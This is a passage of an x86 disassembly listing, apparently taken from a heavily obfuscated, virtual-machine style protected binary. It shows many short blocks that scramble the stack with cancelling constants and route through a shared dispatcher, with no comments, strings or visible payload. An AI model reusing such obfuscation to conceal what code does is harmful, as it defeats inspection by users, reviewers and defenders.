		sub	edi, 6403221Ah
		jmp	loc_58FA24
; ---------------------------------------------------------------------------


loc_597CA4:				; CODE XREF: sub_58A891+ABA7j
		dec	edx
		sub	edx, 545BFA93h
		jmp	loc_58EDFE
; ---------------------------------------------------------------------------


loc_597CB0:				; CODE XREF: sub_58A891+8DCFj
		pop	eax
		push	edx
		jmp	loc_599684
; ---------------------------------------------------------------------------


loc_597CB7:				; CODE XREF: sub_58A891+9894j
		add	ebx, 27485691h
		add	ebx, ecx
		sub	ebx, 27485691h
		jmp	loc_594FB2
; ---------------------------------------------------------------------------


loc_597CCA:				; CODE XREF: sub_58A891+7EBEj
		xor	edi, [esp+4Ch+var_4C]
		mov	esp, [esp+4Ch+var_4C]
		bts	word ptr [esp+4Ch+var_4C], ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597CDB:				; CODE XREF: sub_58A891+10F05j
		pop	ebp
		pop	[esp+4Ch+var_4C]
		pop	esp
		mov	[esp+44h+var_44], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59547C
; ---------------------------------------------------------------------------


loc_597CEF:				; CODE XREF: sub_58A891+9916j
		add	esp, 4
		pop	eax
		push	ecx
		pop	eax
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_599CBC
; ---------------------------------------------------------------------------


loc_597D03:				; CODE XREF: sub_58A891+9852j
		pop	ebx
		xor	eax, ecx
		push	[esp+32h+var_34+2]
		jmp	loc_598F3C
; ---------------------------------------------------------------------------


loc_597D0E:				; CODE XREF: sub_58A891+BB31j
		add	edi, 72C1E132h
		add	edx, edi
		pop	edi
		jmp	loc_599A80
; ---------------------------------------------------------------------------


loc_597D1C:				; CODE XREF: sub_58A891+67DDj
		not	edx
		sub	esp, 4
		jmp	loc_595DAC
; ---------------------------------------------------------------------------


loc_597D29:				; CODE XREF: sub_58A891+9E7Bj
		sub	[esp+48h+var_48], 4F867958h
		add	[esp+48h+var_48], 75FC7F4Bh
		add	[esp+48h+var_48], 49764D4Ah
		add	[esp+48h+var_48], eax
		sub	[esp+48h+var_48], 49764D4Ah
		sub	[esp+48h+var_48], 75FC7F4Bh
		jmp	loc_595349
; ---------------------------------------------------------------------------


loc_597D54:				; CODE XREF: sub_58A891+F7A2j
		pop	esi
		add	ebp, 0A888D187h
		jmp	loc_590DED
; ---------------------------------------------------------------------------


loc_597D60:				; CODE XREF: sub_58A891+4B26j
		pop	ebp
		or	eax, 705C7926h
		sub	eax, 999463A2h
		add	esi, eax
		jmp	loc_59127B
; ---------------------------------------------------------------------------


loc_597D72:				; CODE XREF: sub_58A891+4D22j
		push	67A238F0h
		pop	ebx
		xor	ebx, 55AB3E30h
		jnz	loc_59A15F
		add	ebx, 41044724h
		mov	edi, ebx
		pop	ebx
		push	esi
		pop	eax


loc_597D8F:				; CODE XREF: sub_58A891+C8C1j
		push	esp
		jmp	loc_597F08
; ---------------------------------------------------------------------------


loc_597D95:				; CODE XREF: sub_58A891+911Ej
		xor	edi, [esp+0]
		pop	esp
		jmp	loc_59B128
; ---------------------------------------------------------------------------


loc_597D9E:				; CODE XREF: sub_58A891+C104j
		add	edx, esi
		jmp	loc_59AB0F
; ---------------------------------------------------------------------------


loc_597DA5:				; CODE XREF: sub_58A891+5FF9j
		xor	eax, esi
		push	ebx
		sub	esp, 4
		mov	[esp+8+var_8], esi
		mov	esi, 2D06656h
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		mov	edx, 523C5C4Dh
		shl	edx, 6
		sub	edx, 196C3B82h
		not	edx
		shr	edx, 3
		jmp	loc_590C72
; ---------------------------------------------------------------------------


loc_597DD7:				; CODE XREF: sub_58A891+F5FDj
		add	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59184B
; ---------------------------------------------------------------------------


loc_597DE3:				; CODE XREF: sub_58A891+3D89j
					; sub_58A891+B79Ej
		push	[esp+44h+var_44]
		pop	ebp
		add	esp, 4
		add	eax, 2
		xor	eax, [esp+40h+var_40]
		xor	[esp+40h+var_40], eax
		jmp	loc_59150B
; ---------------------------------------------------------------------------


loc_597DF8:				; CODE XREF: sub_58A891+78C1j
					; sub_58A891+E550j
		shr	ah, 1
		jmp	loc_599279
; ---------------------------------------------------------------------------


loc_597DFF:				; CODE XREF: sub_58A891:loc_59189Cj
		xor	eax, 0F12E9048h
		mov	ebp, eax
		jmp	loc_5972F3
; ---------------------------------------------------------------------------


loc_597E0B:				; CODE XREF: sub_58A891+5520j
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_598668
; ---------------------------------------------------------------------------


loc_597E19:				; CODE XREF: sub_58A891+A410j
		add	ebp, 4
		push	ebp
		push	[esp+50h+var_4C]
		mov	ebp, [esp+54h+var_54]
		jmp	loc_595974
; ---------------------------------------------------------------------------


loc_597E29:				; CODE XREF: sub_58A891+D1ABj
		push	ebx
		mov	ebx, 26A378A3h
		push	eax
		mov	eax, 46FA7596h
		add	ebx, eax
		jmp	loc_599F79
; ---------------------------------------------------------------------------


loc_597E3C:				; CODE XREF: sub_58A891+44C3j
		push	ebp
		mov	ebp, 2
		jmp	loc_597375
; ---------------------------------------------------------------------------


loc_597E47:				; CODE XREF: sub_58A891+BB09j
		add	edi, esi
		pop	esi
		pop	eax
		mov	ecx, edi
		jmp	loc_594A9A
; ---------------------------------------------------------------------------


loc_597E52:				; CODE XREF: sub_58A891+B0FCj
		mov	edx, 2
		jmp	loc_590BDF
; ---------------------------------------------------------------------------


loc_597E5C:				; CODE XREF: sub_58A891+8E6Cj
		push	esi
		push	ecx
		push	732345F8h
		pop	ecx
		add	ecx, 1
		jmp	loc_5956E8
; ---------------------------------------------------------------------------


loc_597E6C:				; CODE XREF: sub_58A891+E9BFj
		sub	byte ptr [esp+0Ch+var_C], al
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597E75:				; CODE XREF: sub_58A891+E0FCj
		mov	edi, [esp+10h+var_10]
		push	edi
		mov	edi, esp
		jmp	loc_59025F
; ---------------------------------------------------------------------------


loc_597E80:				; CODE XREF: sub_58A891:loc_597FD2j
		add	eax, 32DE76D3h
		jg	loc_59A5B3
		shl	eax, 8
		jnp	loc_592748
		xor	eax, 0F325F457h
		and	ebx, eax
		pop	eax
		neg	ebx
		jmp	loc_5925D8
; ---------------------------------------------------------------------------


loc_597EA3:				; DATA XREF: sub_58A891+3A83o
		lodsb
		jmp	loc_597089
; ---------------------------------------------------------------------------


loc_597EA9:				; CODE XREF: sub_58A891+7A44j
		push	[esp+0Ch+var_C]
		pop	esi
		add	esp, 4
		jmp	loc_59A49B
; ---------------------------------------------------------------------------


loc_597EB5:				; CODE XREF: sub_58A891+ACF5j
		and	ebx, 1BD52917h
		jmp	loc_590B2A
; ---------------------------------------------------------------------------


loc_597EC0:				; CODE XREF: sub_58A891+A062j
		neg	ebp
		xor	ebp, 0C649F4A8h
		add	edx, ebp
		pop	ebp
		jmp	loc_5908B1
; ---------------------------------------------------------------------------


loc_597ED0:				; CODE XREF: sub_58A891:loc_599DA6j
		shr	ch, 7
		jmp	loc_5949EA
; ---------------------------------------------------------------------------


loc_597ED8:				; CODE XREF: sub_58A891+6973j
		mov	ebp, 13F526Ah
		mov	ebx, 653178A5h
		push	eax
		mov	eax, 445545D1h
		add	ebx, eax
		pop	eax
		add	ebx, ebp
		sub	ebx, 445545D1h
		jmp	loc_593F86
; ---------------------------------------------------------------------------


loc_597EF8:				; CODE XREF: sub_58A891+5D89j
		pop	ebx
		dec	ebx
		jmp	loc_59AB6E
; ---------------------------------------------------------------------------


loc_597EFF:				; CODE XREF: sub_58A891+914Cj
		pop	esi
		sub	ecx, 4
		jmp	loc_593766
; ---------------------------------------------------------------------------


loc_597F08:				; CODE XREF: sub_58A891+D4FFj
		mov	edx, [esp+44h+var_44]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58FF7F
; ---------------------------------------------------------------------------


loc_597F19:				; CODE XREF: sub_58A891+5CC7j
					; sub_58A891+EAD6j
		add	ebp, edx
		push	[esp+3Ch+var_3C]
		mov	edx, [esp+40h+var_40]
		add	esp, 4
		jmp	loc_58FA48
; ---------------------------------------------------------------------------


loc_597F29:				; CODE XREF: sub_58A891+F78Ej
		jmp	loc_58F9A9
; ---------------------------------------------------------------------------


loc_597F2E:				; CODE XREF: sub_58A891:loc_5974D0j
		sub	esi, 307CEE11h
		shr	esi, 7
		sub	esi, offset byte_4D967D
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp+3Ah+var_3C+2]
		jmp	loc_595C61
; ---------------------------------------------------------------------------


loc_597F48:				; DATA XREF: sub_58A891+3C27o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp+6+var_8+2], cl
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_597F57:				; CODE XREF: sub_58A891+1087Ej
		add	esp, 4
		jmp	loc_592375
; ---------------------------------------------------------------------------


loc_597F62:				; CODE XREF: sub_58A891+D7B9j
		mov	dl, 5
		add	dl, 0E0h
		sub	bl, dl
		jmp	loc_59002A
; ---------------------------------------------------------------------------


loc_597F6E:				; CODE XREF: sub_58A891+A5FEj
		mov	[esp+38h+var_38], edx
		push	ebx
		push	2BC31939h
		pop	ebx
		not	ebx
		push	ebx
		jmp	loc_593F62
; ---------------------------------------------------------------------------


loc_597F80:				; CODE XREF: sub_58A891:loc_596C5Bj
		jmp	loc_59729B
; ---------------------------------------------------------------------------


loc_597F85:				; CODE XREF: sub_58A891+521Cj
		sub	esp, 4
		mov	[esp+14h+var_14], ebx
		jmp	loc_59B06E
; ---------------------------------------------------------------------------


loc_597F93:				; CODE XREF: sub_58A891+D9A2j
		add	eax, [ebx]
		push	[esp+14h+var_14]
		push	[esp+18h+var_18]
		pop	ebx
		jmp	loc_5989F0
; ---------------------------------------------------------------------------


loc_597FA1:				; CODE XREF: sub_58A891+B233j
		mov	ebx, 0B0E7CFBh
		not	ebx
		not	ebx
		sub	ebx, 708E074Eh
		push	ebp
		mov	ebp, 6C528FEEh
		jmp	loc_58F201
; ---------------------------------------------------------------------------


loc_597FBB:				; CODE XREF: sub_58A891+9B30j
		push	esp
		pop	edx
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_592E8F
; ---------------------------------------------------------------------------


loc_597FCB:				; CODE XREF: sub_58A891+AD8Ej
		pop	edx
		dec	esi
		jmp	loc_595B24
; ---------------------------------------------------------------------------


loc_597FD2:				; CODE XREF: sub_58A891+767Cj
		jmp	loc_597E80
; ---------------------------------------------------------------------------


loc_597FD7:				; CODE XREF: sub_58A891+F2C5j
		pop	edx
		push	edx
		mov	edx, 10F254AFh
		jmp	loc_58E83F
; ---------------------------------------------------------------------------


loc_597FE3:				; CODE XREF: sub_58A891+9BA2j
		mov	edx, 2B7A17D1h
		xor	edx, ecx
		pop	ecx
		add	edx, 5C315D15h
		add	ebx, edx
		pop	edx
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp-18h+arg_14]
		mov	esp, [esp-18h+arg_14]
		mov	word ptr [esp-18h+arg_14], dx
		push	ax
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598009:				; CODE XREF: sub_58A891+108AAj
		push	ebp
		jmp	loc_5956D0
; ---------------------------------------------------------------------------


loc_59800F:				; CODE XREF: sub_58A891+FCFEj
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-0Eh+arg_4+2]
		pop	esp
		xchg	edx, [esp-12h+arg_A]
		pop	esp
		or	[esp+0], al
		pushf
		jmp	loc_591F8F
; ---------------------------------------------------------------------------


loc_59802C:				; CODE XREF: sub_58A891+A89Ej
		add	edi, ebp
		pop	ebp
		add	edi, 2
		xchg	edi, [esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_58F92B
; ---------------------------------------------------------------------------


loc_59803B:				; CODE XREF: sub_58A891+3ED4j
		not	cl
		mov	bl, cl
		mov	cx, word ptr [esp+38h+var_38]
		add	esp, 2
		push	edx
		jmp	loc_597F62
; ---------------------------------------------------------------------------


loc_59804F:				; CODE XREF: sub_58A891:loc_598611j
		sub	ecx, 7AF77BF1h
		mov	ebp, ecx
		pop	ecx
		jmp	loc_5960BD
; ---------------------------------------------------------------------------


loc_59805D:				; CODE XREF: sub_58A891+448Cj
		shl	ebp, 5
		jp	loc_58F2CE
		and	ebp, 44667684h
		jnz	loc_58FD89
		xor	ebp, 3BFC4CB3h
		not	ebp
		jmp	loc_59A860
; ---------------------------------------------------------------------------
		pop	edi


loc_598080:				; CODE XREF: sub_58A891+D867j
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 695953ABh
		dec	ecx
		add	ecx, 399426D3h
		push	0
		sub	[esp+10h+var_10], ecx
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		add	ecx, 0DCD6DC2Bh
		jmp	loc_590B93
; ---------------------------------------------------------------------------


loc_5980AB:				; CODE XREF: sub_58A891+9313j
		mov	[esp+0Ch+var_C], esi
		push	ebx
		mov	ebx, 5F5D2FA3h
		xchg	eax, ebx
		not	eax
		jmp	loc_597643
; ---------------------------------------------------------------------------


loc_5980BC:				; CODE XREF: sub_58A891+A8ADj
		jmp	loc_593B78
; ---------------------------------------------------------------------------


loc_5980C1:				; CODE XREF: sub_58A891+AD40j
		push	ebx
		mov	ebx, 4
		jmp	loc_5979DA
; ---------------------------------------------------------------------------


loc_5980CC:				; CODE XREF: sub_58A891+A518j
		push	esp
		pop	ecx
		push	edi
		mov	edi, 79C04181h
		add	edi, 22A17A93h
		jmp	loc_59872F
; ---------------------------------------------------------------------------


loc_5980DF:				; CODE XREF: sub_58A891+B64Bj
		add	ebp, 16AE7E67h
		sub	ebp, edx
		jmp	loc_59055D
; ---------------------------------------------------------------------------


loc_5980EC:				; DATA XREF: sub_58A891+3B8Bo
		lodsd
		sub	eax, 53A65E44h
		sub	esp, 4
		jmp	loc_598080
; ---------------------------------------------------------------------------


loc_5980FD:				; CODE XREF: sub_58A891+F6ABj
		not	eax
		shl	eax, 3
		jmp	loc_591E09
; ---------------------------------------------------------------------------


loc_598107:				; CODE XREF: sub_58A891+BC86j
		not	ecx
		xchg	ecx, esi
		jmp	loc_595F96
; ---------------------------------------------------------------------------


loc_598110:				; CODE XREF: sub_58A891+E1ADj
		mov	[esp+0], esi
		jmp	loc_593ECE
; ---------------------------------------------------------------------------


loc_598118:				; DATA XREF: sub_58A891+39DFo
		mov	cx, word ptr [esp+8+var_8]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		push	edi
		jmp	loc_59B14A
; ---------------------------------------------------------------------------


loc_59812C:				; CODE XREF: sub_58A891+EBD8j
		pop	ecx
		add	ecx, 4
		sub	esp, 4
		mov	[esp+14h+var_14], edi
		mov	edi, 518E37FBh
		sub	edi, 6C2C075Eh
		add	edi, 199021D0h
		not	edi
		add	edi, 0FEF25270h
		jmp	loc_58F32D
; ---------------------------------------------------------------------------


loc_59815A:				; CODE XREF: sub_58A891+E5BFj
		push	ebx
		mov	ebx, 40227E68h
		dec	ebx
		add	ebx, 66BA6291h
		jmp	loc_58EA89
; ---------------------------------------------------------------------------


loc_59816C:				; CODE XREF: sub_58A891+4A77j
					; sub_58A891+85EEj
		add	esp, 4
		push	eax
		jmp	loc_59916E
; ---------------------------------------------------------------------------


loc_598178:				; DATA XREF: sub_58A891+3B9Fo
		push	[esp+8+var_8]
		pop	eax
		sub	esp, 4
		jmp	loc_58E64C
; ---------------------------------------------------------------------------


loc_598187:				; CODE XREF: sub_58A891+C17Aj
		pop	edi
		sub	ebx, ebp
		pop	ebp
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], ebx
		jmp	loc_5911FE
; ---------------------------------------------------------------------------


loc_59819D:				; CODE XREF: sub_58A891+10DBAj
		dec	ecx
		jmp	loc_5904A6
; ---------------------------------------------------------------------------


loc_5981A3:				; CODE XREF: sub_58A891+8EABj
		pop	ebx
		jmp	loc_58FA98
; ---------------------------------------------------------------------------


loc_5981A9:				; CODE XREF: sub_58A891+F617j
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5981B5:				; CODE XREF: sub_58A891+40CAj
		and	edx, 436233FAh
		jb	loc_598C54
		dec	edx
		js	loc_59B84E
		jmp	loc_596139
; ---------------------------------------------------------------------------


loc_5981CD:				; CODE XREF: sub_58A891+BE72j
		push	eax
		push	esi
		mov	esi, 6F9154C5h
		shr	esi, 2
		jmp	loc_596C5B
; ---------------------------------------------------------------------------


loc_5981DC:				; CODE XREF: sub_58A891+B95Fj
		mov	edi, 6B5D231Fh
		mov	ecx, edi
		pop	edi
		add	[esp+38h+var_34], 342A335Ch
		sub	[esp+38h+var_34], 13490663h
		sub	[esp+38h+var_34], ecx
		add	[esp+38h+var_34], 13490663h
		push	ecx
		push	edx
		push	2C037F2Dh
		pop	edx
		jmp	loc_594EEF
; ---------------------------------------------------------------------------


loc_59820D:				; CODE XREF: sub_58A891+FF9Ej
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp+40h+var_40]
		mov	esp, [esp+40h+var_40]
		jmp	loc_598F1D
; ---------------------------------------------------------------------------


loc_598221:				; CODE XREF: sub_58A891+10813j
		add	ebx, edx
		pop	edx
		add	ebx, edi
		jmp	loc_590505
; ---------------------------------------------------------------------------


loc_59822B:				; CODE XREF: sub_58A891+5E7Ej
		add	ebx, edx
		sub	ebx, 17DD6D94h
		jmp	loc_597F93
; ---------------------------------------------------------------------------


loc_598238:				; DATA XREF: sub_58A891+3B4Fo
		mov	cx, word ptr [esp+8+var_8]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 7A4D7702h
		dec	edi
		jmp	loc_59ABF8
; ---------------------------------------------------------------------------


loc_59824B:				; CODE XREF: sub_58A891+CE3Fj
		add	edi, 1D96AA1h
		push	esi
		mov	esi, 5F6F3DF0h
		and	esi, 593D1E8Ch
		push	ebx
		mov	ebx, 5C8E454Ah
		add	ebx, 1A693B56h
		jmp	loc_58F639
; ---------------------------------------------------------------------------


loc_59826E:				; CODE XREF: sub_58A891+83C2j
		sub	ebx, edi
		sub	ebx, 5F8B4E53h
		pop	edi
		mov	edi, [esp+28h+var_28]
		add	esp, 4
		sub	ebx, 4D225B99h
		jmp	loc_59A3F7
; ---------------------------------------------------------------------------


loc_59828B:				; CODE XREF: sub_58A891+5A9Fj
		xchg	esi, [esp+28h+var_28]
		mov	esp, [esp+28h+var_28]
		push	esi
		push	6328h
		mov	[esp+30h+var_30], esp
		add	[esp+30h+var_30], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		jmp	loc_58FB06
; ---------------------------------------------------------------------------


loc_5982AD:				; CODE XREF: sub_58A891+508Dj
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_5982B2:				; CODE XREF: sub_58A891+85A0j
		add	eax, ebp
		pop	ebp
		jmp	loc_59A072
; ---------------------------------------------------------------------------


loc_5982BA:				; CODE XREF: sub_58A891+F4B5j
		and	eax, ebp
		jmp	loc_590AF2
; ---------------------------------------------------------------------------


loc_5982C1:				; CODE XREF: sub_58A891+68FDj
		sub	eax, ebp
		pop	ebp
		xchg	eax, [esp+4Ch+var_4C]
		pop	esp
		jmp	loc_594CD0
; ---------------------------------------------------------------------------


loc_5982CD:				; CODE XREF: sub_58A891+EBF3j
		push	406F5629h
		jmp	loc_59A96A
; ---------------------------------------------------------------------------


loc_5982D7:				; CODE XREF: sub_58A891+F3AEj
		mov	ebx, edi
		jmp	loc_59B365
; ---------------------------------------------------------------------------


loc_5982DE:				; CODE XREF: sub_58A891+72A5j
		push	ebx
		push	4DC22C8Bh
		pop	ebx
		shl	ebx, 3
		jz	loc_59B05F
		not	ebx
		add	ebx, 9C35956Fh
		mov	ecx, ebx
		jmp	loc_59658E
; ---------------------------------------------------------------------------


loc_5982FD:				; CODE XREF: sub_58A891+8BB0j
		inc	ebp
		jge	loc_599441
		dec	ebp
		sub	ebp, 0F9D12710h
		or	ah, 9Bh
		pop	esp


loc_59830F:				; CODE XREF: sub_58A891+83A9j
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_598314:				; CODE XREF: sub_58A891+DB35j
		push	edx
		mov	dh, 0F9h
		mov	al, dh
		pop	edx
		xor	ch, al
		pop	ax
		jmp	loc_595143
; ---------------------------------------------------------------------------


loc_598323:				; CODE XREF: sub_58A891+DC39j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+12h+var_14+2]
		pop	esp
		mov	[esp+0Eh+var_10+2], ebx
		sub	esp, 4
		mov	[esp+12h+var_14+2], esp
		add	[esp+12h+var_14+2], 4
		mov	ebx, [esp+12h+var_14+2]
		jmp	loc_59325F
; ---------------------------------------------------------------------------


loc_59834B:				; CODE XREF: sub_58A891+AE44j
		add	eax, ebp
		jmp	loc_592F1B
; ---------------------------------------------------------------------------


loc_598352:				; CODE XREF: sub_58A891+A6E8j
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5976B2
; ---------------------------------------------------------------------------


loc_598360:				; CODE XREF: sub_58A891+A111j
		sub	al, 0EAh
		jmp	loc_592A28
; ---------------------------------------------------------------------------


loc_598367:				; CODE XREF: sub_58A891+5D50j
		xchg	eax, [esp+2Ch+var_2C]
		pop	ebp
		jmp	loc_5932C1
; ---------------------------------------------------------------------------


loc_598370:				; CODE XREF: sub_58A891+6CEEj
		pop	esi
		mov	ebp, 2D184BFEh
		xor	ebp, edi
		pop	edi
		jmp	loc_595194
; ---------------------------------------------------------------------------


loc_59837E:				; CODE XREF: sub_58A891+10C67j
		push	edx
		jmp	loc_590923
; ---------------------------------------------------------------------------


loc_598384:				; CODE XREF: sub_58A891+8848j
		add	esp, 4
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+24h+var_24]
		mov	esp, [esp+24h+var_24]
		mov	[esp+24h+var_24], ecx
		jmp	loc_598B55
; ---------------------------------------------------------------------------


loc_5983A1:				; CODE XREF: sub_58A891+7090j
		add	ebx, edx
		pop	edx
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		jmp	loc_595BDE
; ---------------------------------------------------------------------------


loc_5983AF:				; CODE XREF: sub_58A891+FAACj
		pop	ebp
		pop	eax
		not	eax
		jmp	loc_58F9C2
; ---------------------------------------------------------------------------


loc_5983B8:				; CODE XREF: sub_58A891+4E0Dj
		add	ebp, 6A36ACB0h
		jmp	loc_59410D
; ---------------------------------------------------------------------------


loc_5983C3:				; CODE XREF: sub_58A891+B97Dj
		pop	ebx
		push	ax
		jmp	loc_598314
; ---------------------------------------------------------------------------


loc_5983CB:				; CODE XREF: sub_58A891+D124j
		xor	ecx, 0FEAABF6Ah
		push	ebx
		mov	ebx, ecx
		mov	ebp, ebx
		pop	ebx
		pop	ecx
		jmp	loc_598E39
; ---------------------------------------------------------------------------


loc_5983DD:				; CODE XREF: sub_58A891+459Bj
		shr	edi, 6
		xor	edi, 1CD32B8Eh
		jmp	loc_59623D
; ---------------------------------------------------------------------------


loc_5983EB:				; CODE XREF: sub_58A891+7B20j
		mov	[esp+8+var_8], ebx
		mov	ebx, 7F9F459Eh
		jmp	loc_58E8E0
; ---------------------------------------------------------------------------


loc_5983F8:				; CODE XREF: sub_58A891+5E66j
		sub	ah, 6Bh
		add	bl, ah
		pop	eax
		add	bl, 0E6h
		jbe	loc_58F159
		jmp	loc_590B93
; ---------------------------------------------------------------------------
		push	cx
		pushf
		jmp	loc_591597
; ---------------------------------------------------------------------------


loc_598414:				; CODE XREF: sub_58A891+B6D7j
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		sub	esp, 4
		jmp	loc_594535
; ---------------------------------------------------------------------------


loc_598425:				; CODE XREF: sub_58A891+F8FDj
		sub	al, cl
		pop	ecx
		jmp	loc_592611
; ---------------------------------------------------------------------------


loc_59842D:				; CODE XREF: sub_58A891+F116j
		mov	edi, 6BF720D8h
		inc	edi
		jmp	loc_58E9CE
; ---------------------------------------------------------------------------


loc_598438:				; CODE XREF: sub_58A891:loc_592660j
		xor	ebp, 278C4769h
		or	ebp, 27326F6Bh
		xor	ebp, 861E583Ah
		mov	edx, ebp
		pop	ebp
		push	eax
		push	edi
		mov	edi, 562C3212h
		mov	eax, 0D4FF4B03h
		add	eax, edi
		pop	edi
		or	edx, eax
		pop	eax
		xor	edx, 0B5B667Dh
		jmp	loc_59A3EC
; ---------------------------------------------------------------------------


loc_59846A:				; CODE XREF: sub_58A891+A0A8j
		push	ax
		mov	ah, 80h
		sub	bl, ah
		pop	ax
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_58E507
; ---------------------------------------------------------------------------


loc_59847E:				; CODE XREF: sub_58A891+CBE4j
		and	edi, 4AF315Ch
		jmp	loc_596A03
; ---------------------------------------------------------------------------


loc_598489:				; CODE XREF: sub_58A891+9DC0j
		mov	ah, dh
		mov	dh, bl
		mov	bl, ah
		jmp	loc_59B9C5
; ---------------------------------------------------------------------------


loc_598494:				; DATA XREF: sub_58A891+39AFo
		mov	esp, [esp+8+var_8]
		jmp	loc_59AA96
; ---------------------------------------------------------------------------


loc_59849C:				; CODE XREF: sub_58A891+71E3j
		add	esp, 4
		sub	esp, 4
		mov	[esp-8+arg_0], ecx
		mov	ecx, 40h
		add	ecx, edi
		push	eax
		mov	eax, 0
		add	eax, ecx
		mov	[eax], ebx
		pop	eax
		pop	ecx
		mov	ebx, [esp-0Ch+arg_4]
		add	esp, 4
		mov	eax, [esp+0]
		jmp	loc_598323
; ---------------------------------------------------------------------------


loc_5984CF:				; CODE XREF: sub_58A891+DE36j
		not	ecx
		jmp	loc_597660
; ---------------------------------------------------------------------------


loc_5984D6:				; DATA XREF: sub_58A891+3AE7o
		mov	ax, word ptr [esp+8+var_8]
		push	esi
		push	esp
		pop	esi
		jmp	loc_59B650
; ---------------------------------------------------------------------------


loc_5984E2:				; CODE XREF: sub_58A891+E3CAj
		jmp	loc_5902CD
; ---------------------------------------------------------------------------


loc_5984E7:				; CODE XREF: sub_58A891+DFF3j
		mov	ebp, 696461A0h
		mov	edx, 48D26994h
		or	edx, 414C3B6Eh
		add	edx, 45073A8Eh
		jmp	loc_5901A4
; ---------------------------------------------------------------------------


loc_598502:				; CODE XREF: sub_58A891+8DF7j
		pop	ebp
		jmp	loc_592F9C
; ---------------------------------------------------------------------------


loc_598508:				; CODE XREF: sub_58A891+4166j
					; sub_58A891+EE49j
		sub	al, bl
		pop	ebx
		sub	al, cl
		push	edx
		mov	dh, 2Fh
		not	dh
		jmp	loc_5946A8
; ---------------------------------------------------------------------------


loc_598517:				; CODE XREF: sub_58A891+B78Fj
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ch, 0BCh
		jmp	loc_594061
; ---------------------------------------------------------------------------


loc_598524:				; CODE XREF: sub_58A891+10FB8j
		add	esp, 4
		inc	esi
		jmp	loc_59229D
; ---------------------------------------------------------------------------


loc_59852D:				; CODE XREF: sub_58A891+6E45j
		not	eax
		xchg	eax, edi
		shr	edi, 4
		jp	loc_5913A3
		shr	edi, 6
		push	ebx
		mov	ebx, 510D73CBh
		push	ecx


loc_598543:				; CODE XREF: sub_58A891+6DF3j
		sub	edx, 7BBD5CDAh
		add	eax, edx
		mov	edx, [esp+64h+var_64]
		add	esp, 4
		push	ebp
		mov	ebp, 4
		sub	eax, 21B16C06h
		push	edi
		mov	edi, 0BED283Ah
		or	edi, 1E657F3Fh
		neg	edi
		add	edi, 9186ABF0h
		sub	eax, edi
		pop	edi
		jmp	loc_5917B9
; ---------------------------------------------------------------------------


loc_598578:				; CODE XREF: sub_58A891+E473j
		mov	dh, cl
		pop	cx
		xor	dh, bl
		push	[esp+62h+var_64+2]
		jmp	loc_590EBB
; ---------------------------------------------------------------------------


loc_598586:				; CODE XREF: sub_58A891+43D7j
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		pop	esp
		mov	ax, word ptr [esp+4+var_4]
		push	ecx
		push	esp
		pop	ecx
		push	6D9Dh
		mov	[esp+0Ch+var_C], edx
		push	esi
		push	675E6F22h
		jmp	loc_58FC71
; ---------------------------------------------------------------------------
		not	edi
		or	edi, 6A495100h
		jmp	loc_58FA38
; ---------------------------------------------------------------------------


loc_5985B4:				; DATA XREF: sub_58A891+3B9Bo
		lodsd
		push	esi
		mov	esi, 5C62D51h
		add	eax, 3EF56FF5h
		add	eax, esi
		sub	eax, 3EF56FF5h
		jmp	loc_58FE70
; ---------------------------------------------------------------------------


loc_5985CC:				; CODE XREF: sub_58A891+11211j
		push	edi
		push	ebx
		mov	ebx, 511F738Dh
		not	ebx
		sub	ebx, 6BBE5B13h
		jmp	loc_599726
; ---------------------------------------------------------------------------


loc_5985E0:				; CODE XREF: sub_58A891+AF29j
		push	[esp+4+var_4]
		pop	eax
		push	ecx
		push	esp
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		push	eax
		push	ecx
		mov	ecx, 674B6CB0h
		sub	ecx, 75FB4B6Bh
		jle	loc_59348D
		jmp	loc_5953E1
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, esp
		mov	ah, bl


loc_598609:				; CODE XREF: sub_58A891+880Fj
		add	eax, 4
		jmp	loc_58F6B1
; ---------------------------------------------------------------------------


loc_598611:				; CODE XREF: sub_58A891+4519j
		jmp	loc_59804F
; ---------------------------------------------------------------------------


loc_598616:				; CODE XREF: sub_58A891+5EB3j
					; sub_58A891+AF46j
		push	edx
		jmp	loc_58E953
; ---------------------------------------------------------------------------


